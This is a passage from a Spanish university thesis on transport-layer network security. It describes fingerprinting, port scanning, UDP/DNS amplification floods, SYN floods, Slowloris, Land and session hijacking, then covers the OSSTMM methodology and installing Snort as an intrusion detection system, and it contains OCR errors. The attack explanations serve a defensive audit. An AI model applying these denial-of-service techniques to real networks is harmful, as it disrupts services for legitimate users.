vulnerabilidad cuando no existe amenaza para la misma. (Aguilera Lopez, 2010, p. 14)

1.4.4. Definicién de ataque

Se dice que se ha producido un ataque accidental o deliberado contra el sistema cuando se ha
materializado una amenaza. Los ataques pueden ser activos o pasivos diferenciandose si han

sido descubiertos 0 no y si se lograron mitigar. (Aguilera Lépez, 2010, p. 14)

1.4.5. Vulnerabilidades de la capa de transporte del modelo OSI

Para el desarrollo de este trabajo se tomé en cuenta algunas vulnerabilidades, atagues, amenazas
0 riesgos que son mas comunes en la capa de transporte del modelo OSI, estos estan

relacionados con los protocolos UDP o TCP a continuacion se mencionaran algunas:

1.4.5.1. Fingerprinting

Una técnica que permite extraer informacion de un sistema concreto, es decir; obtener el sistema
operativo que se ejecuta en la maquina destino de la inspeccion. Esta informacion junto con la

version del servicio o servidor facilitard la busqueda de vulnerabilidades asociadas al mismo.
(Mejia, Ramirez & Rivera, 2012, p. 112)

Para poder tener éxito en este ataque es necesario tener un puerto ya sea TCP o UDP disponible
0 abierto. La probabilidad de tener éxito de este ataque es muy elevada en sistemas operativos

remotos ya que se basa en realizar un listado de las caracteristicas propias de una
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implementacion de la pila frente a otra, ya que la interpretacion de las RFCs no siempre son las

mismas (Mejia, Ramirez & Rivera, 2012, p. 112)

Existe dos tipos de ataques fingerprinting; activo y pasivo el ataque activo estd basado en las
respuestas de los sistemas operativos son diferentes si se envian diferentes tipos de paquetes
malformados. Utilizando herramientas que puedan comparar estas respuestas con una base de
datos con respuestas conocidas de sistemas operativos se puede determinar qué sistema esta
instalado en el objetivo. Nmap es una herramienta ampliamente utilizada para hacer ataque de
fingerprinting activo. (Catoira, 2012a). Por otra parte, un ataque fingerprinting pasivo no es
realizado directamente en el sistema objetivo, este tipo de ataque analiza todos los paquetes que
envia el objetivo utilizando técnicas de sniffing, una vez detectados y capturados estos paquetes
los compara con una base de datos donde se tenga alguna referencia de los distintos paquetes de

los sistemas operativos y asi poder determinar el sistema operativo. (Catoira, 2012a)

Estos dos tipos de ataques tienen una diferencia considerable y esta es la probabilidad de ser
detectado por el objetivo, el ataque activo genera trafico de red en el objetivo creando
sospechas. El ataque pasivo es silencioso ya que lo Unico que hace es interceptacion de
paquetes. En la figura 4-1 se observa la utilizacion de la herramienta Nmap para un ataque
activo de fingerprinting.

Deteccion de sistema
operativo por 0OS
Fingerprinting activo

Figura 4-1: Uso de la herramienta Nmap para un ataque activo de fingerprinting
Fuente: (Catoira, 2012a)

Segun Catoira un ataque activo de fingerprinting sera mas efectivo al momento de identificar el
sistema operativo debido a que es una método mas invasivo y directo y, ademas, mucho mas

facil de realizar. Sin embargo, un ataque pasivo de fingerprinting es una buena técnica para la

17



identificacion de sistema operativo ya que se puede ejecutar pese a que el objetivo este

protegido por sistemas de deteccion de intrusos o con firewalls. (Catoira, 20122)

1.4.5.2. Escaneo de puertos

Una técnica, centrada en la busqueda de vulnerabilidades, basada en una exploracién de escaneo
de puertos abiertos, tanto UDP como TCP. Consiste en la determinacidn de las caracteristicas de
una red para identificar los equipos activos desde Internet, asi como los servicios que ofrece
cada uno. (Mejia, Ramirez & Rivera, 2012, p. 112). El objetivo de un escaneo de puertos es determinar
los equipos activos y disponibles a los que se puede llegar o alcanzar desde internet, con esto se
puede ademas determinar los servicios que ofrecen los puertos descubiertos y sobre todo como

estan organizados los equipos conectados a la red.

Entre los métodos para hacer un escaneo se tiene ping sweep utilizando la herramienta Nmap,
esta herramienta realiza un descubrimiento de sistemas mediante un sondeo ping, y que luego
emita un listado de los equipos que respondieron al mismo. Permite un reconocimiento liviano
de la red objetivo sin llamar mucho la atencién. El saber cuantos equipos se encuentran activos
es de mayor valor para los atacantes que el listado de cada una de las IP y nombres. Para
realizar el ataque la herramienta envia una solicitud de eco ICMP y un paquete TCP al puerto 80
por omision esperando las respuestas de los equipos activos en red. Cuando un usuario sin
privilegios ejecuta Nmap se envia un paquete al puerto 80 del objetivo. Cuando un usuario
privilegiado intenta analizar objetivos en la red Ethernet local se utilizan solicitudes ARP (Nmap,

2020). En la figura 5-1 se muestra el procedimiento de un ping sweep.

ICMP Echo Request
———— 192.168.1.5

<—
ICMP Echo Reply

Fuente
192.168.1.3

ICMP Echo Request
g 192.168.1.7

Figura 5-1: Procedimiento para un escaneo Ping
Realizado por: Byron Barragan, 2020.
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El procedimiento de la figura 5-1 consiste en enviar un ICMP Echo Request hacia todos los
objetivos y solo aquellos que respondan con una ICMP Echo Reply son aquellos equipos que
estan activos y Nmap arroja una lista de todos estos equipos.

Para listar los puertos la herramienta Nmap envia un paquete con la bandera ACK este paquete
indica que se han recibido datos en una conexion TCP establecida, pero se envian sabiendo que
la conexion no existe. En este caso los sistemas deberian responder con un paquete RST, lo que
sirve para determinar que estan activos, esto se realiza para cada puerto (Nmap, 2020). En la figura

6-1 representa como se descubre los puertos.

4 TCP RST + Puerto 80— 8 ————

Y O e——

—TCP ACK + Puerto 30—

Figura 6-1: Procedimiento para descubrir puertos abiertos en un objetivo
Realizado por: Byron Barragan, 2020

1.4.5.3. Inundacién UDP

Es una Denegacion de Servicio (DoS) mediante el protocolo UDP. El ataque puede ser iniciado
por el envio de un gran nimero de paquetes UDP a puertos aleatorios en un host remoto. Para
un gran nimero de paquetes UDP, los sistemas de las victimas se veran, obligados a enviar
muchos paquetes ICMP. Esto impide que el ICMP sea alcanzable por otros clientes. Ademas, el
atacante puede falsificar la direccion IP de los paquetes UDP para asi asegurarse que los
paquetes de retorno no lleguen a su destino. (Mejia, Ramirez & Rivera, 2012, p. 113). La figura 7-1

muestra un ejemplo de este tipo de ataques.

Como se observa en la figura 7-1 representa una técnica de ataque de inundacion UDP, la cual
consiste en amplificar el trafico UDP de los servidores y, ademas, utilizando una botnet. Al
amplificar el trafico UDP el sistema colapsa no permitiendo que los usuarios legitimos se

conecten.

Un ejemplo de este ataque es utilizando el protocolo DNS vy los servidores de Google para la
amplificacion de los paquetes UDP como lo explica Juan Antonio Calles en FluProject. En el
menciona que el protocolo DNS soportaba unas respuestas de un tamafio méaximo de 512 bytes
sobre UDP, la especificacion EDNSO (un parche publicado en la RFC 2671 en 1999) permitio el

envio de mensajes de hasta 4096 bytes. Por tanto, a partir de una consulta de unos 75 bytes se
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puede provocar una respuesta de hasta 4096 bytes obteniendo un factor de amplificacion
méaximo de aproximadamente de 54:1. Pese a no tener un factor de amplificacion muy elevado,
estd disefiado para estar publicado a Internet, por lo que todos los servidores DNS publicos
podrian valer como amplificadores (Calles, 2018) y es por esto la utilizacion de los servidores de
Google.

Zombie
IP: X X.X.X

UVDP Response
1P_ORG: Y.Y.Y.Y

UDP Request
A= P ORG: 2.22.2

w_DsT:YYYY

fayload: <<<

Sistema
P 2222

servidor Usuario legitimo
IP;Y.Y.YY

Figura 7-1: Procedimiento de un ataque de inundacion UDP
Fuente: (Calles, 2018)

1.4.5.4. Inundacién TCP SYN

Este ataque informatico se trata del envid exagerado de paquetes para el establecimiento de una
conexion se sincronizacion (SYN) en un sistema. El sistema objetivo victima del ataque recibe
todos los paquetes y reserva una cantidad de memoria (buffer) para poder almacenar todos los
datos relacionados de las nuevas solicitudes de sincronizacion por cada paquete recibido. Como
se observo anteriormente el protocolo TCP establece una conexion en tres pasos, por lo que al
recibir un paquete de sincronizacion (SYN) este responde con un paquete de recibo de
sincronizacion (SYN-ACK) y posteriormente espera un paquete de respuesta (ACK) para
levantar la conexion, a este proceso se le conoce como Three-way-handshake. En este ataque la
conexion nunca se confirma ya que permanece en un estado semiabierto (SYN-RCVD), el
atacante no enviara el paquete ACK esperado para el establecimiento de la conexién, sin
embargo, la cantidad de memoria continua reservada hasta que se confirme la conexion,
mientras tanto contindan llegando més solicitudes de conexién y la memoria se reserva en su
totalidad por solicitudes falsas de conexién; cualquier solicitud genuina no podra establecer

conexion por lo que se anula el servicio. (Mejia, Ramirez & Rivera, 2012, p. 114)
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La figura 8-1 representa lo antes mencionado, una maquina atacante con una direccion IP falsa
envia varios paquetes de sincronizacion para establecer una sesion TCP, el servidor envia una
respuesta para establecer la sincronizacion, pero esta nunca llega a su destino debido a que la
direccion IP es falsa, mientras tanto el atacante contina enviando paquetes haciendo que la

memoria del servidor colapse y no permita que otros usuarios establezcan una sesion TCP.

Maquina atacante con IP
falsa

S~

\YN-ACK
Envia varios paguetes SYN S~

Sin Respuesta

servidor
SYN tradicional

Usuario Legitimo

Sin conexion

Figura 8-1: Procedimiento de un ataque de inundacion SYN,

envio de paquetes SYN
Realizado por: Byron Barragan, 2020

1.4.5.5. Connection Flood

Los servicios que funcionan con TCP se orientan hacia la conexion, por ejemplo, SSH, FTP,
HTTP, SMTP, NNTP. Estos protocolos tienen definido un limite de conexiones que se pueden
manejar al mismo tiempo; si este limite es excedido toda conexion es rechazada. De igual forma
gue el ataque de inundacion SYN, si un atacante puede centralizar el limite definido con
conexiones originadas por el mismo, pero no se realiza ninguna comunicacion o accion el

sistema no responde por lo que se anula el servicio.

Un ejemplo de este ataque es el uso de un cliente para establecer conexiones dirigidas a un
sistema, pero el atacante no las finaliza correctamente, haciendo que el servidor y los sockets
correspondientes a estas conexiones sigan estando en modo activos y por lo tanto continGen

consumiendo recursos, a este estado se le conoce como estado TIME_WAIT. (Mejia, Ramirez &
Rivera, 2012, p. 114)
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Un ejemplo es la utilizacion de la herramienta Slowloris la cual envia paquetes HTTP
excediendo el limite de conexiones denegando el servicio, esta herramienta tiene como objetivo

a servidores web basados en Apache. La figura 9-1 muestra el procedimiento de este ataque.

Normal HTTP Request - Response Connection

Slowloris DDoS Attack

| ——

Complete HTTP Incomplete
Request - Response Cycle HTTP Requests

Figura 9-1: Procedimiento de un ataque de inundacion de peticiones de conexidn con Slowloris
Fuente: (Cloudflare, 2020)

Un ataque Slowloris, se divide en 4 pasos:

e El atacante primero abre maltiples conexiones al servidor de destino mediante el envio de

maultiples encabezados parciales de solicitud HTTP.

o El objetivo abre un hilo para cada solicitud entrante, con la intencién de cerrar el hilo una
vez que se completa la conexion. Para ser eficiente, si una conexion demora demasiado, el
servidor excedera el tiempo de espera de la conexion excesivamente larga, liberando el hilo

para la proxima solicitud.
e  Para evitar que el objetivo exceda el tiempo de espera de las conexiones, el atacante envia

periddicamente encabezados de solicitud parciales al objetivo para mantener viva la

solicitud.
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e El servidor de destino nunca puede liberar ninguna de las conexiones parciales abiertas
mientras espera la finalizacién de la solicitud. Una vez que todos los hilos disponibles estan
en uso, el servidor no podra responder a las solicitudes adicionales realizadas desde el

trafico regular, lo que resulta en la denegacién de servicio. (Cloudflare, 2020)

1.4.5.6. Land

Mediante este ataque se puede bloquear sistemas, este ataque consiste en enviar paquetes SYN,
pero con la particularidad de que las direcciones IP de origen y destino son las mismas, esto
también incluye los puertos de origen y destino. Este ataque puede ser detectado por sistemas
NIDS tanto puertos como direcciones IP. Existe un caso particular en el que se establezca una
conexion a la propia maquina, se envie por tanto un paquete para establecer la conexion, el
sistema IDS lo detecte como un ataque cuando en realidad no lo es. Esto refleja la estrecha linea

existente entre un ataque real y una situacion convencional. (Mejia, Ramirez & Rivera, 2012, p. 116)

192.168.0.2 Fuente: 192 168.0.1 192.168.0.1
SYN  Destino: 192.168.0.1
- -
Fuente: 192.168.0.1 (\
— SYN  pestine: 192.168.0.1 o/

_— )

A— & -

Atacante

192.168.0.3

.—::;

Usuario Legitimo

Fuente: 192.168.0.3
SYN  pesting: 192.168.0.1

Sin conexion

Figura 10-1: Procedimiento de un ataque Land, envio de paquetes SYN misma direccion IP
Realizado por: Byron Barragan, 2020

1.4.5.7. Tiny Fragment attack

Este ataque se basa en la fragmentacion, esta se da cuando un paquete supera el tamafio definido

de trasmision es decir el MTU, por lo tanto, el paquete se debe dividir. Las divisiones seran 2
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donde la primera incluye la cabecera TCP del paquete original y la segunda division contendra
los datos y la cabecera IP. Para reensamblar los paquetes existe el campo Fragment offset en la
cabecea IP el cual indica si existen fragmentos o no y ademas la relacion entre los fragmentos.
En si el ataque consiste en fragmentar los paquetes en varias divisiones causando que se llene la
memoria. La figura 11-1 muestra la fragmentacion de los paquetes. (Mejia, Ramirez & Rivera, 2012,
p. 118)

lTce |

[Tce

lIce

TCP

TCP

TCP

TCP

IP

IP

Figura 11-1: Fragmentacion de paquetes TCP
Realizado por: Byron Barragan, 2020

1.4.5.8. Session Hijacking

La informacién que se trasmite en las redes de datos tiene una gran importancia como ya se ha
mencionado anteriormente, por lo tanto, las medidas de seguridad deben ser acorde a la
importancia de estos datos. Mientras los datos fluyen por la red, este tipo de ataque intenta
secuestrar una sesion ya iniciada. Con la sesion establecida el atacante procede a introducir
paquetes en medio aparentando ser paquetes de la fuente original. Este tipo de ataques también
se conoce como “Man in The Middle Attack”, ya que el atacante debe situarse entre el equipo

que establecio la conexion original y la victima. (Mejia, Ramirez & Rivera, 2012, p. 116)

En general el proceso de control de la sesion secuestrada se emplea con técnicas como Source-
Routing para que todos los paquetes con la informacion valiosa regresen al atacante y no al
destino habitual. Finalmente, para la extraccion de la informaciéon se utiliza de un sniifer
completando asi el ataque. (Mejia, Ramirez & Rivera, 2012, p. 116) La figura 12-1 representa lo antes

descrito.
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Figura 12-1: Procedimiento de un ataque de secuestro de sesion

mediante un ataque de "Man in the middle"
Realizado por: Byron Barragan, 2020

1.5.  Metodologia OSSTMM

Por sus siglas en inglés, EI Manual de la Metodologia de Testeo de Seguridad (OSSTMM) es un
proyecto desarrollado por el Instituto de Seguridad y Metodologias Abiertas, ISECOM. Esta
metodologia es adoptada para medir la seguridad operativa de las instalaciones fisicas,
interacciones humanas, y formas de comunicacién como inaldmbrica, cableada, analdgica y

digital. (Calvopifia & Pilatufia, 2016, p. 12)

Proporciona una metodologia para realizar una prueba de seguridad exhaustiva, aqui
denominada auditoria de OSSTMM. Una auditoria OSSTMM es una medicién precisa de la
seguridad a un nivel operativo que esta libre de suposiciones y evidencia anecdoética. Como
metodologia esta disefiada para ser consistente y repetible. Como proyecto de cddigo abierto,
permite que cualquier probador de seguridad aporte ideas para realizar pruebas de seguridad
mas precisas, procesables y eficientes. Ademas, permite la libre difusion de informacion y

propiedad intelectual. (ISECOM & Herzog, 2010)

1.5.1. Antes de aplicar la metodologia OSSTMM

Para comenzar a realizar una prueba OSSTMM, debera realizar un seguimiento de lo que
prueba (los objetivos), como los prueba (las partes de los objetivos que se probaron y no las
herramientas o técnicas utilizadas), los tipos de controles descubiertos y lo que no hizo. Prueba
(objetivos y partes de los objetivos). Luego puede realizar la prueba como estd acostumbrado

con el objetivo de poder responder las preguntas en el Informe de auditoria de la prueba de
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seguridad (STAR) disponible en el manual OSSTMM o como su propio documento. EI STAR
proporciona la informacion de prueba especifica sobre el estado del alcance para los beneficios
de tener una declaracion clara de las métricas de seguridad y detalles para comparaciones con
pruebas de seguridad anteriores o promedios de pruebas de la industria. Como se puede ver, este
enfoque significa que se requiere muy poco tiempo ademas de una prueba estandar y la
formalizacion del informe. Se ha informado que esta metodologia en realidad reduce el tiempo
de prueba e informe debido a las eficiencias introducidas en el proceso. No debe haber ninguna
razdén econdémica o de tiempo para evitar el uso del OSSTMM y no se hacen restricciones

irrazonables al probador. (ISECOM & Herzog, 2010)

Este Manual es catalogado como un estandar profesional para el testeo de seguridad en
cualquier entorno desde el exterior al interior, es decir, testea la seguridad desde un entorno no
privilegiado hacia un entorno privilegiado para evadir los componentes de seguridad, procesos y
alarmas, y asi ganar acceso privilegiado. El objetivo de este es crear un método aceptado para

ejecutar un test de seguridad minucioso y cabal. (Calvopifia & Pilatufia, 2016, p. 12)

1.5.2. Fases de la metodologia OSSTMM

Existen cuatro fases en la que se divide la ejecucién de esta metodologia.

e Fase de induccién. En la fase de induccion, el analista comienza la auditoria con el
entendimiento de los requisitos de la auditoria, el alcance y las limitaciones de la auditoria.
Esta fase consta de los modulos: Revision de la postura, Logistica, Verificacion de la

deteccion activa.

e Fase de interaccidon. En la fase de interaccion, el ndcleo de la prueba de seguridad béasica
requiere conocer el alcance en relacion con las interacciones con los objetivos transmitidos
a las interacciones con los activos. Esta fase consta de los siguientes médulos: Visibilidad
de la auditoria, verificaciobn de acceso, comprobacién de confianza, controles de

verificacion.

e Fase Indagatoria. En esta fase, los distintos tipos de valor o de perjuicio de la informacion
de un activo fuera de lugar y mal administrado salen a la luz. Esta fase consta de los
siguientes modulos: Proceso de verificacion, verificacion de configuraciones, validacion de
propiedad, revision de segregacion, verificacion de exposicion, exploracion de inteligencia

competitiva.
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1.6.

Fase de intervencién. Esta es a menudo la fase final de una prueba de seguridad para
asegurar que las interrupciones no afecten a las respuestas de las pruebas menos invasivas.
Adicionalmente, la informacién para hacer estas pruebas no puede ser conocida hasta que
las anteriores fases se hayan llevado a cabo. Esta fase consta de los siguientes moédulos:
Verificacion de cuarentena, privilegios de auditoria, validacion de supervivencia, revisién

de alertas y registros. (Calvopifia & Pilatufia, 2016, pp. 13-14)

Pruebas de penetracién

Las pruebas de penetracion son practicas que son utilizadas por un auditor informético para

determinar la seguridad de un sistema ademas de tener como objetivo encontrar las

vulnerabilidades que se pueden explotar tanto por un atacante desde afuera como adentro.

1.6.1. Fases de las pruebas de penetracion.

Fase de reconocimiento: La primera etapa es la mas importante por lo que en esta se toma
bastante tiempo. se deben definir objetivos y recopilar toda la informacion disponible para
luego poder utilizarla en las demas fases y determinar la seguridad operacional. La
informacion requerida abarca desde nombres y direcciones de correo electrénico de
empleados de la organizacion, hasta la topologia de la red, direcciones IP y demas

informacidn segun lo indique el manual.

Fase de escaneo: Basandose en la informacion obtenida en la fase anterior se determina los
posibles sectores de los ataques, entre los posibles sectores de ataque se puede determinar
son los puertos y sus respectivos servicios. En esta fase se realiza un escaneo de

vulnerabilidades conocidas.

Fase de enumeracion: El objetivo de esta etapa es la obtencidn de los datos referente a los

usuarios, nombres de equipos, servicios de red, entre otros.
Fase de acceso: En esta etapa finalmente se realiza el acceso al sistema.
Fase de mantenimiento de acceso: Como el nombre lo indica el objetivo es mantener el

acceso comprometiendo asi el sistema y tenerlo a disposicion de quien lo ha atacado

manteniéndolo activo durante un tiempo. (Catoira, 2012b)
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1.6.2. Herramientas de testeo Open Source

Las herramientas open Source conocidas por ser de cddigo abierto es decir un tipo de software
que se distribuye con una licencia que le da libertad al usuario final de poder utilizar el cddigo
fuente para diversas actividades o para una comprension mejor del programa. Estos programas
son de gran ayuda hacia los programadores ya que pueden afiadir opciones y corregir algunos
problemas que se puedan encontrar, una vez compilado el programa tendrd un mejor disefio en

comparacion con el disefio original pudiendo incluso distribuir su trabajo. (Tecnologia Facil, 2015)

1.7.  Sistema de deteccion de intrusos en red (NIDS)

Partamos desde un IDS, un IDS por sus siglas en inglés (Intruder Detection System), es una
herramienta para la seguridad que consiste en la deteccion, monitorizacion de la data y de todas
las acciones que ocurran en la red informatica, las acciones que se detecten son aquellas que

pueden comprometer la seguridad del sistema.

Un IDS para la deteccién busca parametros los cuales so definidos con anterioridad o por el
mismo IDS en un conjunto de reglas, siendo estas las que determinaran si las acciones en la red
o0 el host son sospechosas 0 maliciosas. Cabe indicar que estos sistemas son mas orientados a

alertar sobre dichas acciones maliciosas mas no para detener un ataque.

Un NIDS es un tipo de IDS, este tipo actla sobre la red de la organizacion capturando y
analizando la data de la red, algo asi como un sniffer revisando el trafico de la red buscando
parametros que indiquen algun tipo de ataque. Esto se puede realizar a tiempo real utilizando un
puerto en modo promiscuo configurando un puerto espejo el cual escucha todo el trafico de la

red y lo analiza.

1.7.1. Snort como NIDS

Snort es un NIDS, es decir, Sistema de Deteccion de Intrusos basados en red. Este sistema
puede detectar ataques en la red, registrar y alertar sobre acciones maliciosas como ataques
informaticos, intentos de explotar vulnerabilidades, escaneo de puertos, analisis de protocolos

entre otros, estos se definen como patrones en un conjunto de reglas analizando a tiempo real.

Este sistema tiene licencia GPL (General Public License), es gratuito y tiene soporte para varias
plataformas como Windows o linux, una de las ventajas de Snort es que tiene definido ya un
conjunto de reglas para utilizar en la deteccion actualizando estas ante casos de ataques o

vulnerabilidades nuevas segun informes de seguridad de entidades de seguridad.
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1.8. Escaneo de vulnerabilidades en red

Mediante una herramienta se realiza un andlisis e identificacion de todos los dispositivos que se
encuentren conectados a la red, tras finalizar el analisis se genera un reporte de todas las
vulnerabilidades encontradas para asi tomar acciones correctivas. Con esto lo que se busca es
proteger y mejorar la seguridad frente a acciones maliciosas de algun agresor cibernético

externo o interno.

1.8.1. Nexpose como escaner de vulnerabilidades de red.

Nexpose es una herramienta desarrollada por Rapid7, es capaz de escanear redes, sitios web,
bases de datos, aplicaciones web, sistemas operativos y maquinas virtuales. Es multiplataforma,
es decir, se puede instalar en Windows, Linux o0 maquinas virtuales. Ofrece una interfaz gréfica
amigable para usuario accediendo desde un portal web. En este portal se crean los sitios que se
van a escanear siendo estos sitios las direcciones IP de los activos ademéas de seleccionar las
preferencias de escaneo, planificar el analisis y proporcionar las credenciales.

Como resultado del escaneo se genera un reporte con una lista de los activos y las

vulnerabilidades encontradas con posibles soluciones.
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CAPITULO II

2. MARCO METODOLOGICO

2.1.  Etapas del trabajo

El trabajo de titulacion esta dividido en tres etapas, cada una se realiza terminada la etapa
anterior, a continuacion, se muestra un cuadro de las etapas y las funciones que se deben

realizar en cada una:

Etapa 1: Determinar Vulnerabilidades }

+ Andlisis del trafico (con un NIDS) de la red del Edificio de la FIE-ESPOCH
*Resumir que hacen los atacantes insiders

*Vulnerabilidades comunes

+Adaptacion de la Metodologia OSSTMM

+Aplicacion de metodologia

*Uso de herraminetas Open Source

Etapa 2: Explotacion

)

*Tipos de ataques comunes

*Denegacion de servicios
*Vulnerabilidades detectadas

« Ataques a las vulnerabilidades encontradas

]

Etapa 3: Solucion J

Propuesta de guia de solucion a las vulnerabilidades explotadas.

Gréfico 1-2: Etapas para el desarrollo del trabajo de titulacion
Realizado por: Byron Barragan, 2020

En el graficol-2 se encuentran las etapas en las que se divide el trabajo de titulacion, la primera
etapa denominada “Determinar vulnerabilidades” se toma en cuenta la realizacion de una
investigacion acerca de vulnerabilidades y ataques mas comunes en la capa de transporte
teniendo en cuenta las acciones que un insider puede hacer, seguido un analisis de trafico en la
red del edificio de la FIE-ESPOCH utilizando un Sistema de deteccion de intrusos basado en
red (NIDS) esto con el objetivo de determinar ataques que se realicen en el nodo de la FIE,
haciendo énfasis en posibles ataques insiders acorde a la investigacion previa. Durante el

proceso de analisis de trafico se aplica las fases de la metodologia OSSTMM en la red del
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edificio de la FIE-ESPOCH utilizando herramientas de testeo y analisis Open Source,
obteniendo las vulnerabilidades de la red. La segunda etapa denominada “explotacion”, en base
a las vulnerabilidades encontradas en la etapa anterior se realiza un analisis de los posibles
dafios mediante la explotacion de estas. La tercera etapa denominada “solucion” se propone una

guia de solucién a las vulnerabilidades explotadas y a los ataques que se realizaron.

2.2.  Etapa 1: Determinar vulnerabilidades

En esta etapa se realiza primero una investigacion para estar preparado de los posibles ataques
que se pueden encontrar durante el analisis del sistema de deteccion de intrusos basado en red
(NIDS) en la red del edificio de la FIE-ESPOCH.

2.2.1. ¢Qué puede hacer un insider en la red a nivel de la capa de transporte?

Como se menciono anteriormente la capa de transporte tiene la funcién de proveer calidad de
servicio cuando es requerido, ademas de confiabilidad, control del flujo de paquetes y errores
durante las sesiones de la comunicacion. Esta capa envia paquetes TCP y UDP en datagramas
IP. Los ataques mas comunes hacia esta capa son los de denegacion de servicios (DoS) y
denegacién de servicios distribuidos (DDoS) utilizando protocolos propios de esta capa. Estos
ataques comprometen la autenticacion, integridad, disponibilidad y confidencialidad.

Existe una serie de ataques que aprovechan las fallas en los disefios de los protocolos de esta
capa. Una de las vulnerabilidades méas graves contra estos mecanismos de control o protocolos
es la interceptacion de sesiones TCP con el objetivo de secuestrarlas para acciones maliciosas.
Estos ataques de secuestro se aprovechan de la poca autenticacion de los equipos involucrados
en una sesion, se puede mencionar Atagues LAND, Inundacién SYN o ataques meterpreter
segun lo menciona Aitor B Ferndndez ingeniero en redes y seguridad (Fernandez, 2018). El ataque
LAND se trata de enviar paquetes que contengan la misma direccion IP de origen y destino
haciendo que los sistemas se bloqueen y se vuelvan inestables convirtiéndose este en un ataque
de denegacion de servicio. Por otro lado, el ataque de inundacion SYN consiste en que el
atacante envia paquetes de sincronizacion repetidamente a los puertos de un servidor, estos
paquetes tienen direcciones IP falsas lo que provoca que la conexién no termine después el
servidor intenta responder con paquetes de sincronizacion (SYN) y reconocimiento (ACK), y
con un paquete RST desde cada puerto cerrado, la victima devolverd un paquete ACK para
confirmar que se recibi6 el paquete SYN/ACK desde el servidor, y entonces comenzara la
comunicacién. Sin embargo, en un ataque de inundacién SYN, el paquete ACK nunca es

devuelto por el atacante. En su lugar, envia repetidamente paquetes SYN a todos los puertos del
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servidor teniendo como resultado corrupcion de memoria lo que desencadena en un ataque de

denegacién de servicio.

Los puertos abiertos representan una vulnerabilidad que un atacante ya sea insider o no puede
explotar a su conveniencia. Descubriendo puertos abiertos puede tomar control del activo
informatico victima y asi hacerse con la informacion valiosa de la victima. Para la capa de
transporte los puertos UDP y TCP son los objetivos de los ataques, como se vio en el capitulo
anterior en las cabeceras de los protocolos UDP y TCP estéan los apartados de puerto de origen y
destino, con esta informacién se puede ingresar al equipo victima y operar dentro de este
precisamente por este puerto que se encuentra abierto. (Fernandez, 2018). ES por eso por lo que se
debe realizar una auditoria de puertos abiertos en la organizacion. Por ejemplo, un ataque
meterpreter generando un malware utilizando un puerto abierto es capaz de oir todas las
sesiones activas en el equipo victima e incluso robar informacién sin que el usuario victima no
se entere para después iniciar conexiones hacia fuera continuando con ataques fingerprinting y

obtener informacion de los equipos conectados a la red.

Al igual que un malware, un troyano se vale de puertos abiertos para poder operar, por ejemplo,
un troyano criptomineros. Del mismo modo que el punto anterior la auditoria de puertos
abiertos y ademas la utilizacion de un NIDS puede ser de gran ayuda para determinar trafico
relacionado a un troyano y el puerto que utiliza, es de gran importancia revisar puertos TCP y
UDP abiertos. (Fernandez, 2018) Con la ayuda de NIDS-SNORT se presentara las amenazas

descubiertas.

2.2.2. Escenario de estudio, edificio de la FIE-ESPOCH

TUDMMNTE AN ADMIETTRATNGS

Figura 1-2: Escenario del edificio de la FIE-ESPOCH
Realizado por: Byron Barragan, 2020
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En la Figura 1-2 se observa la infraestructura fisica del escenario de estudio que incluye: 7
laboratorios, 2 salas de profesores y un &rea administrativa. El equipamiento es de marca
CISCO, posee un switch de distribucion WS-3850C-48P, al que se conectan 10 switchs de
acceso 2960-48P. En el edificio de la FIE-ESPOCH se instalé un servidor HP G9 como se
observa en la figura, el cual se conecta también al switch de distribucion donde se habilito tres
puertos espejo para realizar el analisis de la intranet e identificar las amenazas internas. El
periodo de andlisis que se considerd es el de mayor carga en la red. En el servidor corre tres
maquinas virtuales con sistema operativo CentOS version 7. Estas maquinas virtuales poseen
un adaptador de red que esta escuchando desde el puerto espejo, el cual recibe todo el trafico
generado en las Vlans y en todas las maquinas conectadas a la red del edificio. La red esta
dividida en tres Vlans estas son: Estudiantes, Docentes y Administrativos. Para el andlisis del
trafico se configurd un puerto espejo para cada Vlan, el cual se conecta a cada maquina virtual

teniendo asi una maguina virtual por Vlan.

2.2.3. Snort como sistema de deteccion de intrusos (NIDS) en el edificio de la FIE-
ESPOCH

Para el analisis de la red y determinar amenazas insiders se utiliza el sistema de deteccién de
intrusos basado en red NIDS-SNORT. Este sistema se instald en cada maquina virtual para el
andlisis del trafico en las Vlans. Estas maquinas virtuales poseen dos adaptadores de red
virtuales cada una, estos son: ens160 el cual tiene una direccion IP perteneciente a su respectiva
Vlan y el otro adaptador de red ens192 esta conectado a tres puertos espejo uno por Vlan en el

switch de distribucion del edificio; estos puertos reciben todo el trafico generado en cada Vlan.

2.2.3.1. ¢ Por qué NIDS-SNORT?

Se escoge Snort por algunos factores: su gran escalabilidad, facilidad que tiene para ejecutarse
en varios sistemas operativos, capacidad de almacenar paquetes de red, analisis a tiempo real, es
de codigo abierto, gratuito, siendo el hecho que posee la capacidad de generar alertas sobre
actividad maliciosa en la red el factor mas importante. Las alertas se pueden analizar después y
generar acciones correctivas en base de la amenaza detectada. Por ejemplo, definir reglas
propias las que se aplicaran en los futuros analisis. Otro factor en la eleccion es el soporte que
presta la comunidad de Snort. Las reglas de la comunidad y las reglas registradas de usuario se
pueden obtener gratuitamente en la pagina oficial https://www.snort.org. En este conjunto de
reglas se pueden encontrar algunas definidas para backdoors, ataques de denegacion de servicio,
denegacién de servicios distribuidos, fingerprinting, Inundaciones FTP, ataques desde una

pagina web, uso de Nmap, deteccion de troyanos, deteccién de malware, entre otras. Siendo
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estas amenazas las mas comunes que se pueden encontrar en la red como se traté en apartados
anteriores. Ademas, Snort es mas eficiente en redes en las que la cantidad de trafico es menor y
las velocidades de internet son menores a los 100 Mbps. Esto en comparacion a su principal
competidor Suricata.

2.2.3.2. Instalacion y configuracion de NIDS-SNORT

Se puede descargar todos los archivos necesarios para su instalacion en la pagina oficial,
https://www.snort.org e incluso se encuentra pasos para su correcta instalacion en diferentes

distribuciones Linux siendo una de ellas CentOS.

e |Instalacién

El proceso de instalacién de NIDS-SNORT es sencillo lo primero que se debe hacer es preparar
el servidor instalando todas las bibliotecas necesarias para el trabajo de Snort. Este proceso se lo
realiza desde la consola del sistema operativo en donde ejecutara el sistema NIDS. Ingresando

la siguiente linea de comando:

sudo yum install -y gcc flex bison zlib libpcap pcre libdnet tcpdump

La Gltima version de NIDS-SNORT requiere libnghttp2, que se puede descargar de los paquetes
adicionales para Enterprise Linux (EPEL) e instalarlos utilizando los comandos que se

encuentran debajo:

sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm

sudo yum install -y libnghttp2

Una vez preparado el servidor la instalacion continua con el comando YUM como lo indica las

siguientes lineas de comando:

